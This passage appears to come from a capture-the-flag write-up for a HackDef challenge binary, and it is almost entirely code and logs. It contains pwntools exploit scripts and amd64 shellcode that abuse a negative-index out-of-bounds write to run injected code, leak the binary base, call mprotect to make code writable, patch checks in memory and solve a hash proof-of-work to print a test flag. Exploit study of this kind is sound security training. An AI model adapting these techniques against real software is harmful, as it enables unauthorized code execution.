from pwn import process, asm, p64, log

shell = process("./chal")

shellcode = asm("""
    xor rax, rax # $rax = read()
    push 0x5     # /print_flag stdout
    pop rdi      # $rdi = fd
    mov rsi, rsp # $rdi = $rsp
    push 0x40    # 64 bytes
    pop rdx      # $rdx = 64
    syscall      # syscall

    push 0x1     # stoud
    pop rdi      # $rdi = stdout
    mov rax, rdi # $rax = write()
    syscall      # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
flag = shell.recvline_contains(b"hackdef")
log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 6425
[*] Flag: hackdef{6_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 6425)


Flag 7


UUID get_random_uuid() {
    std::ifstream urandom("/dev/urandom", std::ios::in | std::ios::binary);
    if (!urandom) {
        std::cerr << "No se puede abrir /dev/urandom" << std::endl;
        exit(0);
    }

    UUID value;
    memset(value.bytes, 0, 0x10);
    urandom.read(reinterpret_cast<char *>(value.bytes), 0x10);
    urandom.close();

    return value;
}

#define ITERACIONES 0x1300000

SHA256_DIGEST sha256(const unsigned char *content, size_t len) {
    SHA256_DIGEST ret;
    SHA256(content, len, ret.bytes);
    return ret;
}

SHA256_DIGEST sha256_powN(const unsigned char *content, size_t len, size_t N) {
    auto start = std::chrono::high_resolution_clock::now();

    SHA256_DIGEST ret = sha256(content, len);
    for (size_t i = 1; i < N; i++) {
        ret = sha256(ret.bytes, SHA256_DIGEST_LENGTH);
    }

    auto end = std::chrono::high_resolution_clock::now();
    auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(end - start);

    return ret;
}

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

❯ /print_flag
hackdef{6_f4k3_fl4g_4_t35t1ng}
mylpwn
34824CAD921B505E4644B9C83B3B7BF6

❯ python3 -q
>>> import hashlib
>>> def sha256(nonce):
...     hash = bytes.fromhex(nonce.decode())
...     for i in range(0x1300000):
...         hash = hashlib.sha256(hash).digest()
...     return hash
...
>>> nonce = b"34824CAD921B505E4644B9C83B3B7BF6"
>>> sha256(nonce).hex().upper()
'364F3FEB34950CD2CB5D81FADE1E7B0AB6407D80AAC58E8ADB420412DF3AD819'
>>>

❯ /print_flag
hackdef{6_f4k3_fl4g_4_t35t1ng}
mylpwn
34824CAD921B505E4644B9C83B3B7BF6
364F3FEB34950CD2CB5D81FADE1E7B0AB6407D80AAC58E8ADB420412DF3AD819
hackdef{mylpwn_f4k3_fl4g_4_t35t1ng}

#include <unistd.h>

int main() {
    char buffer[65];

    read(5, buffer, 31);     // read flag from /print_flag stdout
    write(1, buffer, 31);    // write flag to chal stdout

    write(4, "mylpwn\n", 7); // write token to /print_flag stdin
    read(5, buffer, 33);     // read nonce from /print_flag stdout
    write(1, buffer, 33);    // write nonce to chal stdout

    read(0, buffer, 65);     // read hash from chal stdin
    write(4, buffer, 65);    // write hash to /print_flag stdin

    read(5, buffer, 65);     // read flag from /pribt_flag stdout
    write(1, buffer, 65);    // write flag to chal stdout
}

shellcode = asm("""
    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    mov rsi, rsp             # $rsi = flag
    push 0x1f                # len(flag) = 31
    pop rdx                  # $rdx = len(flag)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    mov rax, 0xa6e77706c796d # $rax = "mylpwn"
    push rax                 # $rsp = &"mylpwn"
    mov rsi, rsp             # $rsi = token
    push 0x7                 # len(token) = 7
    pop rdx                  # $rdx = len(token)
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    push 0x21                # len(nonce) = 33
    pop rdx                  # $rdx = len(nonce)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    xor rdi, rdi             # $rdi = stdin
    push 0x41                # len(answer) = 65
    pop rdx                  # $rdx = len(answer)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall
""", arch="amd64")

nonce = shell.recv(32)
log.info(f"Nonce: {nonce.decode()}")

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

answer = sha256(nonce).hex().upper()
log.info(f"Answer: {answer}")

shell.sendline(answer.encode())

#!/usr/bin/python3
from pwn import process, asm, p64, log, hashlib

shell = process("./chal")

shellcode = asm("""
    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    mov rsi, rsp             # $rsi = flag
    push 0x1f                # len(flag) = 31
    pop rdx                  # $rdx = len(flag)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    mov rax, 0xa6e77706c796d # $rax = "mylpwn"
    push rax                 # $rsp = &"mylpwn"
    mov rsi, rsp             # $rsi = token
    push 0x7                 # len(token) = 7
    pop rdx                  # $rdx = len(token)
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    push 0x21                # len(nonce) = 33
    pop rdx                  # $rdx = len(nonce)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    xor rdi, rdi             # $rdi = stdin
    push 0x41                # len(answer) = 65
    pop rdx                  # $rdx = len(answer)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
shell.recvline_contains(b"hackdef")

nonce = shell.recv(32)
log.info(f"Nonce: {nonce.decode()}")

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

answer = sha256(nonce).hex().upper()
log.info(f"Answer: {answer}")

shell.sendline(answer.encode())
shell.interactive()

❯ python3 exploit.py
[+] Starting local process './chal': pid 21463
[*] Nonce: 4D9727C49C90A9E521EEEC3847E2F4D1
[*] Answer: CF8AF612A482422C4D0F6FEC792B16923C255C83C94CCE738514972267AEF35B
[*] Switching to interactive mode

Te descubri hacker!
[*] Process './chal' stopped with exit code 0 (pid 21633)
[*] Got EOF while reading in interactive
$

pwndbg> x/i 0x49ea3
   0x49ea3 <_Z15service_checkerv+158>:  mov    DWORD PTR [rbp-0x40],0x64
pwndbg> x/wx 0x49ea6
0x49ea6 <_Z15service_checkerv+161>:     0x00000064
pwndbg> x/wd 0x49ea6
0x49ea6 <_Z15service_checkerv+161>:     100
pwndbg>

bool op_leer = true;

case 3:
    if (op_leer) {
        op_leer = false;
        consultar_NIP();
    } else {
        puts("No no no");
    }
    break;

pwndbg> x/i 0x4ab64
   0x4ab64 <_Z9main_menuv+172>: cmp    BYTE PTR [rbp-0x5],0x0
pwndbg> x/bx 0x4ab67
0x4ab67 <_Z9main_menuv+175>:    0x00
pwndbg>

pwndbg> x/i 0x49e77
   0x49e77 <_Z15service_checkerv+114>:  mov    edi,0x487
pwndbg> x/wx 0x49e78
0x49e78 <_Z15service_checkerv+115>:     0x00000487
pwndbg> x/wd 0x49e78
0x49e78 <_Z15service_checkerv+115>:     1159
pwndbg>

pwndbg> vmmap chal
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x555555554000     0x55555558a000 r--p    36000       0 chal
►   0x55555558a000     0x5555555aa000 r-xp    20000   36000 chal
►   0x5555555aa000     0x5555555b4000 r--p     a000   56000 chal
►   0x5555555b4000     0x5555555ba000 r--p     6000   5f000 chal
►   0x5555555ba000     0x5555555bb000 rw-p     1000   65000 chal
    0x5555555bb000     0x5555555c0000 rw-p     5000       0 [heap]
pwndbg> p/x 0x55555558a000 - 0x555555554000
$1 = 0x36000
pwndbg>

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 22271
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Switching to interactive mode
SECRETO: 97558834600304
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> OK
$

pwndbg> x/i 97558834600304
   0x58baafae5970 <_Z8tarjetasB5cxx11+208>:     add    BYTE PTR [rax],al
pwndbg> vmmap chal
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x58baafa7d000     0x58baafab3000 r--p    36000       0 /home/user/HackDefMty/chal/chal
►   0x58baafab3000     0x58baafad3000 r-xp    20000   36000 /home/user/HackDefMty/chal/chal
►   0x58baafad3000     0x58baafadd000 r--p     a000   56000 /home/user/HackDefMty/chal/chal
►   0x58baafadd000     0x58baafae3000 r--p     6000   5f000 /home/user/HackDefMty/chal/chal
►   0x58baafae3000     0x58baafae4000 rw-p     1000   65000 /home/user/HackDefMty/chal/chal
    0x58baafae4000     0x58baafae9000 rw-p     5000       0 [anon_58baafae4]
pwndbg> p/x 97558834600304 - 0x58baafa7d000
$1 = 0x68970
pwndbg>

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")
shell.recvuntil(b": ")

binary_base = int(shell.recvline().strip()) - 0x68970
log.info(f"Binary base: {hex(binary_base)}")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 29262
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Binary base: 0x628e0c123000
[*] Switching to interactive mode
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

pwndbg> vmmap 0x628e0c123000
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x628e0c123000     0x628e0c159000 r--p    36000       0 /home/user/HackDefMty/chal/chal +0x0
    0x628e0c159000     0x628e0c179000 r-xp    20000   36000 /home/user/HackDefMty/chal/chal
pwndbg>

#!/usr/bin/python3
from pwn import gdb, asm, p64, log

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")
shell.recvuntil(b": ")

binary_base = int(shell.recvline().strip()) - 0x68970

shellcode = asm(f"""
    mov rdi, {hex(binary_base + 0x36000)} # $rdi = .text
    mov rsi, 0x20000                      # $rsi = size
    mov rdx, 0x7                          # $rdx = rwx
    push 0xa                              # mprotect()
    pop rax                               # $rax = mprotect()
    syscall                               # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.interactive()

pwndbg> vmmap chal
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
►   0x5ec353647000     0x5ec35367d000 r--p    36000       0 /home/user/HackDefMty/chal/chal
►   0x5ec35367d000     0x5ec35369d000 rwxp    20000   36000 /home/user/HackDefMty/chal/chal
►   0x5ec35369d000     0x5ec3536a7000 r--p     a000   56000 /home/user/HackDefMty/chal/chal
►   0x5ec3536a7000     0x5ec3536ad000 r--p     6000   5f000 /home/user/HackDefMty/chal/chal
►   0x5ec3536ad000     0x5ec3536ae000 rw-p     1000   65000 /home/user/HackDefMty/chal/chal
    0x5ec3536ae000     0x5ec3536b3000 rw-p     5000       0 [anon_5ec3536ae]
pwndbg>

shellcode = asm(f"""
    mov rdi, {hex(binary_base + 0x36000)} # $rdi = .text
    mov rsi, 0x20000                      # $rsi = size
    mov rdx, 0x7                          # $rdx = rwx
    push 0xa                              # mprotect()
    pop rax                               # $rax = mprotect()
    syscall                               # syscall

    mov rdi, {hex(binary_base + 0x40171)} # $rdi = &salir()
    mov byte ptr [rdi], 0xc3              # salir() = ret
    mov rdi, {hex(binary_base + 0x49ea6)} # $rdi = &timeout
    mov dword ptr [rdi], 0x493e0          # timeout = 5 mins

    mov rdi, {hex(binary_base + 0x4ab67)} # $rdi = &check
    mov byte ptr [rdi], 0x1               # check = true
    mov rdi, {hex(binary_base + 0x49e78)} # $rdi = &range
    mov dword ptr [rdi], 0xff             # range = randint(0xff)

    ret                                   # return
""")

#!/usr/bin/python3
from pwn import process, asm, p64, log, hashlib

shell = process("./chal")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-1000")
shell.recvuntil(b": ")

binary_base = int(shell.recvline().strip()) - 0x68970

shellcode = asm(f"""
    mov rdi, {hex(binary_base + 0x36000)} # $rdi = .text
    mov rsi, 0x20000                      # $rsi = size
    mov rdx, 0x7                          # $rdx = rwx
    push 0xa                              # mprotect()
    pop rax                               # $rax = mprotect()
    syscall                               # syscall

    mov rdi, {hex(binary_base + 0x40171)} # $rdi = &salir()
    mov byte ptr [rdi], 0xc3              # salir() = ret
    mov rdi, {hex(binary_base + 0x49ea6)} # $rdi = &timeout
    mov dword ptr [rdi], 0x493e0          # timeout = 5 mins

    mov rdi, {hex(binary_base + 0x4ab67)} # $rdi = &check
    mov byte ptr [rdi], 0x1               # check = true
    mov rdi, {hex(binary_base + 0x49e78)} # $rdi = &range
    mov dword ptr [rdi], 0xff             # range = randint(0xff)

    ret                                   # return
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"vigilando...")

shellcode = asm("""
    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    mov rsi, rsp             # $rsi = flag
    push 0x1f                # len(flag) = 31
    pop rdx                  # $rdx = len(flag)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    mov rax, 0xa6e77706c796d # $rax = "mylpwn"
    push rax                 # $rsp = &"mylpwn"
    mov rsi, rsp             # $rsi = token
    push 0x7                 # len(token) = 7
    pop rdx                  # $rdx = len(token)
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    push 0x21                # len(nonce) = 33
    pop rdx                  # $rdx = len(nonce)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall

    xor rdi, rdi             # $rdi = stdin
    push 0x41                # len(answer) = 65
    pop rdx                  # $rdx = len(answer)
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x4                 # /print_flag stdin
    pop rdi                  # $rdi = fd
    push 0x1                 # write()
    pop rax                  # $rax = write()
    syscall                  # syscall

    push 0x5                 # /print_flag stdout
    pop rdi                  # $rdi = fd
    xor rax, rax             # $rax = read()
    syscall                  # syscall

    push 0x1                 # stdout
    pop rdi                  # $rdi = stdout
    mov rax, rdi             # $rax = write()
    syscall                  # syscall
""", arch="amd64")

shell.sendline(b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
nonce = shell.recv(32)

def sha256(nonce):
    hash = bytes.fromhex(nonce.decode())
    for i in range(0x1300000):
        hash = hashlib.sha256(hash).digest()
    return hash

answer = sha256(nonce).hex().upper()
shell.sendline(b"A" + answer.encode())

flag = shell.recvline_contains(b"hackdef")
log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 30127
[*] Flag: hackdef{mylpwn_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 30127)